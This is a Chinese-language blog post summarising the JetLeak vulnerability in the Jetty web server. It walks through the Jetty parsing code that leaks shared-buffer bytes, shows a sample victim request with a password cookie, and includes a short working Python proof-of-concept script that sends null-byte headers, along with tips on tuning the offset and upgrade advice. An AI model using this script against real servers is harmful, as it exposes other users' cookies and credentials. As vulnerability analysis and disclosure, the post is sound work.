一家叫GDS的網站很丑的安全公司近日發現了一個 jetty web server的安全漏洞,允許攻擊者遠程讀取其他用戶之前的請求信息,下一句話的意思是好好學習我就不翻譯了。
簡單來說,如果你運行著存在漏洞的jetty版本,那么你的密碼,請求頭,cookie,anti-csrf令牌,token等等一系列的東西遭到黑客竊取。比如post請求中包含的信息。
GDS還發現一個重要的事情就是,此數據泄漏漏洞本身并不局限于request請求,還可以應用在response上,為了方便,這里只簡單演示下攻擊request。
漏洞的根本原因在于,當提交非法的headers給服務器時會觸發異常處理代碼,其返回一個約16字節的共享緩沖區數據。so,攻擊者可以通過精心構造headers值來觸發異常并偏移到共享緩沖區,其中包含了之前其他用戶提交的請求,服務器會根據攻擊者的payload返回特定位置的數據。
漏洞影響的版本至 9.2.3之后的大多數版本。
gds寫了一個簡單的python腳本用于測試是否存在該漏洞,讀者可以從github上下載該腳本。
https://github.com/GDSSecurity/Jetleak-Testing-Script
這一小節我們會集中在服務器如何解析request。
當jetty接受到一個http請求,下面的代碼會用于解析request中的header值,服務器會循環檢查所有的字符,以下是檢查事項。
1164行 服務器檢查是否是無效的ascii字符
1172行 檢查字符是否是為一個空格or tab。
1175行 是否是換行字符
1186行 如果字符中存在非法的ascii字符(比如小于0x20)那么代碼就會拋出一個IllegalCharacter異常,并且傳入異常字符串和共享緩沖區。
File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java
#!java
920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
[..snip..]
1163: case HEADER_VALUE:
1164: if (ch>HttpTokens.SPACE || ch<0)
1165: {
1166: _string.append((char)(0xff&ch));
1167: _length=_string.length();
1168: setState(State.HEADER_IN_VALUE);
1169: break;
1170: }
1171:
1172: if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173: break;
1174:
1175: if (ch==HttpTokens.LINE_FEED)
1176: {
1177: if (_length > 0)
1178: {
1179: _value=null;
1180: _valueString=(_valueString==null)?
takeString():(_valueString+” “+
takeString());
1181: }
1182: setState(State.HEADER);
1183: break;
1184: }
1185:
1186: throw new IllegalCharacter(ch,buffer);
接著屌絲們跟蹤代碼到IllegalCharacter的實現,服務器用string.format方法返回一個非法字符的錯誤消息,問題出在最后代碼通過調用BufferUtil.toDebugString來輸出共享內存的內容。
File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java
#!java
1714: private class IllegalCharacter extends BadMessage
1715: {
1716: IllegalCharacter(byte ch,ByteBuffer buffer)
1717: {
1718: super(String.format(“Illegal character 0x%x
in state=%s in '%s’”,ch,_state,
BufferUtil.toDebugString(buffer)));
1719: }
1720: }
接著到toDebugString方法,總的來說就是調研了appendDebugString將StringBuider作為第一個參數,緩沖區作為第二個參數,StringBuider的內容最終由appendDebugString進行填充并且返回給用戶。
File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java
#!java
963: public static String toDebugString(ByteBuffer buffer)
964: {
965: if (buffer == null)
966: return “null”;
967: StringBuilder buf = new StringBuilder();
968: appendDebugString(buf,buffer);
969: return buf.toString();
970: }
額,我們前面說道,共享內存包含之前的request數據,為了讓黑客能夠獲取指定的數據,那么我們就需要創建一個足夠長的非法字符串去不斷覆蓋不重要的數據直到服務器返回我們想要的數據。我們可以看到,在代碼996行,在進行append之前,攻擊者已經通過非法header偏移到之前的請求,那么此時返回的16字節應該會包含我們想要的數據。
File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java
#!java
972: private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
[..snip..]
983: buf.append(“<<<”);
984: for (int i = buffer.position(); i < buffer.limit(); i++)
985: {
986: appendContentChar(buf,buffer.get(i));
987: if (i == buffer.position() + 16 &&
buffer.limit() > buffer.position() + 32)
988: {
989: buf.append(“…”);
990: i = buffer.limit() - 16;
991: }
992: }
993: buf.append(“>>>”);
994: int limit = buffer.limit();
995: buffer.limit(buffer.capacity());
996: for (int i = limit; i < buffer.capacity(); i++)
997: {
998: appendContentChar(buf,buffer.get(i));
999: if (i == limit + 16 &&
buffer.capacity() > limit + 32)
1000: {
1001: buf.append(“…”);
1002: i = buffer.capacity() - 16;
1003: }
1004: }
1005: buffer.limit(limit);
1006: }
簡單來說這次的漏洞主要問題出在對于非法字符的異常觸發上,就是IllegalCharacter,筆者羅列了調用了IllegalCharacter的文件。
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:401
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:530
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:547
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1161
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1215
下面一個小節進行了一次簡單的攻擊。
jetty版本 version 9.2.7.v20150116
注意下面的請求,我們假設一個受害人發送了這玩意,請注意cookie和post,我們將通過攻擊jetty獲取下列的值。
Reproduction Request (VICTIM):
POST /test-spec/test HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101
Cookie: password=secret
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101:8080/test-spec/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
param1=test
Reproduction Response (VICTIM):
HTTP/1.1 200 OK
Set-Cookie: visited=yes
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Server: Jetty(9.2.7.v20150116)
Content-Length: 3460
之后,攻擊者用一個簡單的python腳本,在header中插入44個空字節,這回導致異常的觸發,需要注意的是,搞清楚多少個字節才能覆蓋到敏感數據是一個反復的過程,建議先通過較小的字符串,不斷加大,如果一開始選擇較大的字符串可能會覆蓋一些敏感數據。
#!python
import httplib, urllib
conn = httplib.HTTPConnection("127.0.0.1:8080")
headers = {"Referer": chr(0)*44}
conn.request("POST", "/test-spec/test", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason
一旦運行上面的python腳本,那么攻擊者就會收到如圖中所示的錯誤信息,請注意其中包含的cookie和密碼,如果你想要大于16個字節的數據,那么修改下長度多跑幾次就好了。
如果你不幸運行著存在漏洞版本的jetty,那么官方的建議是立即更新到version 9.2.9.v20150224。 這里有一份jetty的客戶名單,我就不說我看到阿里了。
http://eclipse.org/jetty/powered/
如果需要進行版本更新可以通過以下地址
Maven - http://central.maven.org/
Jetty Downloads Page - http://download.eclipse.org/jetty
這里是原文:http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
我省略了修復建議中的一些細節還有漏洞披露的時間表,具體可以參考原文。